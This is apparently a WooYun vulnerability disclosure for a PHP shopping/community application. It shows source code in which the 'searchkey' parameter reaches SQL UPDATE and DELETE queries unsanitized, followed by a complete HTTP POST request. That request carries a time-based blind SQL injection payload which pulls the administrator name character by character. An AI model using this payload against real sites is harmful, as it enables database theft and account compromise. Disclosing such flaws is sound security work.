WooYun.org

无关代码
//数据库操作
dbtarget('w',$dbServs);
$dbo=new dbex();
$updsubmit=short_check(get_args('updsubmit'));
$deletesubmit=short_check(get_args('deletesubmit'));
$searchkey=get_args('searchkey');
if(is_array($searchkey)){
	$rinfo_id=implode(',',$searchkey);
}else{
	$rinfo_id=$searchkey;
}
//定义文件表
$t_remind_info = $tablePreStr."remind_info";
if($updsubmit){
	$sql="update $t_remind_info set isread=1 where user_id=$user_id and rinfo_id in($rinfo_id)";
}else if($deletesubmit){
	$sql="delete from $t_remind_info where user_id=$user_id and rinfo_id in($rinfo_id)";
}
无关代码

function short_check($str,$is_hex="") {
	$MaxSlen=300;//限制短输入项最多300个字符
	if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否打开
	{
		$str = addslashes($str);    // 进行过滤
	}
	$str = LenLimit($str,$MaxSlen);
	
	$str = str_replace("\'", "", $str);
	$str = str_replace("\\", "", $str);
	$str = str_replace("#", "", $str);
	$str = htmlspecialchars($str);
	if (empty($is_hex)) {
		$str = cleanHex($str);
	}
	return trim($str);
}

POST /do.php?act=user_remind_info HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=poll_send
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; 
iweb_hisgoods[26]=1418653330; iweb_email=xxxx@163.com; PHPSESSID=9ctcj0i474267fiirei2p8tpo5; iweb_iweb_login=xxxxx%40163.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
updsubmit=1&deletesubmit=&searchkey=-1) or (select if(ord(mid((select admin_name from imall_admin_user where 
admin_id=1 limit 0,1),1,1))=122,sleep(1),0)) and (1)=(1